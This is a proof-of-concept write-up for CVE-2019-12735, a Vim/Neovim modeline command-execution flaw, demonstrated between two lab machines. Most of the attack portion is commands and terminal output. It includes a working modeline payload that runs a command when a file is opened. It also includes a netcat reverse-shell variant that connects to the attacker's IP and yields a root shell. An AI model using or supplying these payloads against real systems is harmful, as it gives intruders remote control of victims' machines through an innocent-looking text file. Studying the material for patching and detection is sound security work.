Exploit PoC: Linux command execution on Vim/Neovim vulnerability (CVE-2019-12735)

CVE ID: CVE-2019-12735
Category: Remote Code Execution
Severity: High (CVSS score 9.3)
Description:
The flaw resides in Linux Vim/Neovim editor in the way how those editors handle the "modelines" a feature that's enabled by default to automatically find and apply a set of custom preferences as mentioned by the creator of a file at the starting and ending lines in a document. Therefore, just opening an innocent looking specially crafted malicious file using Vim or Neovim editor could allow attackers to execute commands on Linux system and ultimately take over the target system.

Affected Products:

- Vim before version 8.1.1365
- Neovim before version 0.3.6

Here is a step-by-step PoC of exploiting the vulnerability:

PoC Machine: I used my Kali Linux (4.17.8 x86_64) as the target machine for this purpose.
Victim machine IP: 172.31.242.25
Attacking machine IP: 172.31.242.143
PoC Summary:

1. Checked if the modeline option has not been disabled.
2. Quick PoC for command execution on vim editor.
3. Running a shell command for creating a reverse shell to own the target system.

Step-1: My Kali linux kernel details:
root@kali:~# cat /proc/version
Linux version 4.17.0-kali1-amd64 (devel@kali.org) (gcc version 7.3.0 (Debian 7.3.0-25)) #1 SMP Debian 4.17.8-1kali1 (2018-07-24)
root@kali:~#

```
root@kali:~# cat /proc/version
Linux version 4.17.0-kali1-amd64 (devel@kali.org) (gcc version 7.3.0 (Debian 7.3.0-25)) #1 SMP Debian 4.17.8-1kali1 (2018-07-24)
root@kali:~# uname -a
Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64 GNU/Linux
root@kali:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.242.25  netmask 255.255.255.0  broadcast 172.31.242.255
        inet6 fe80::a00:27ff:feec:af8a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:ec:af:8a  txqueuelen 1000  (Ethernet)
        RX packets 78293  bytes 5169415 (4.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4238  bytes 927760 (906.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kali:~#
```

Step-2: Set the modeline in vimrc file. Just add ':set modeline' at the end of the file and save.
root@kali:~# tail -2 /etc/vim/vimrc

:set modeline
root@kali:~#

```
root@kali:~# tail -2 /etc/vim/vimrc

:set modeline
root@kali:~#
```

Step-3: Create a file cmdtest.txt with for command execution.
root@kali:~# cat cmdtest.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
root@kali:~#

```
root@kali:~# cat cmdtest.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
root@kali:~#
root@kali:~#
```

Step-4: Now, open the above file using vim editor. It will throw output of 'uname -a'. Hence, it is vulnerable.

root@kali:~# vim cmdtest.txt
Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64 GNU/Linux
Press ENTER or type command to continue

```
root@kali:~# vim cmdtest.txt

Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64 GNU/Linux

Press ENTER or type command to continue
```

Press Enter button, this will take you to Vim editor. Use ':q!' to exit from it.

Step-5: Now comes the real fun part: Creating a reverse shell.
Create a new file or edit cmdtest.txt to overwrite a netcat reverse shell command instead of using the simple uname command.

Step-5.1: At attacker side:
Setting up a netcat listener on attacking machine.

Attacking machine IP: 172.31.242.143

```
ubuntu@ubuntu-VirtualBox:~$ ifconfig enp0s3
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.242.143  netmask 255.255.255.0  broadcast 172.31.242.255
        inet6 fe80::bd7a:7168:4e0b:15ea  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:87:4d:80  txqueuelen 1000  (Ethernet)
        RX packets 83181  bytes 11284286 (11.2 MB)
        RX errors 15  dropped 0  overruns 0  frame 0
        TX packets 11635  bytes 1340006 (1.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 9  base 0xd020

ubuntu@ubuntu-VirtualBox:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
```

Step-5.2: At victim side:
I am creating a new file named ‘revshell.txt’ where I replaced the previous ‘uname -a’ command with a netcat simple reverse shell command.

root@kali:~# cat revshell.txt
:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
root@kali:~#

```
root@kali:~#
root@kali:~# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.242.25  netmask 255.255.255.0  broadcast 172.31.242.255
        inet6 fe80::a00:27ff:feec:af8a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:ec:af:8a  txqueuelen 1000  (Ethernet)
        RX packets 76521  bytes 5049998 (4.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4152  bytes 916192 (894.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kali:~# cat revshell.txt
:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
root@kali:~#
```

Step-5.3: Finally open the revshell.txt file using vim command and look at attacker machine for the reverse shell.

Victim:
root@kali:~# vim revshell.txt
(UNKNOWN) [172.31.242.143] 4444 (?) open

```
root@kali:~#
root@kali:~#
root@kali:~# vim revshell.txt

(UNKNOWN) [172.31.242.143] 4444 (?) open
```

Attacker:

```
ubuntu@ubuntu-VirtualBox:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 172.31.242.25 36380 received!
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.242.25  netmask 255.255.255.0  broadcast 172.31.242.255
        inet6 fe80::a00:27ff:feec:af8a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:ec:af:8a  txqueuelen 1000  (Ethernet)
        RX packets 75606  bytes 4991220 (4.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4027  bytes 887212 (866.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 20  bytes 958 (958.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 958 (958.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
```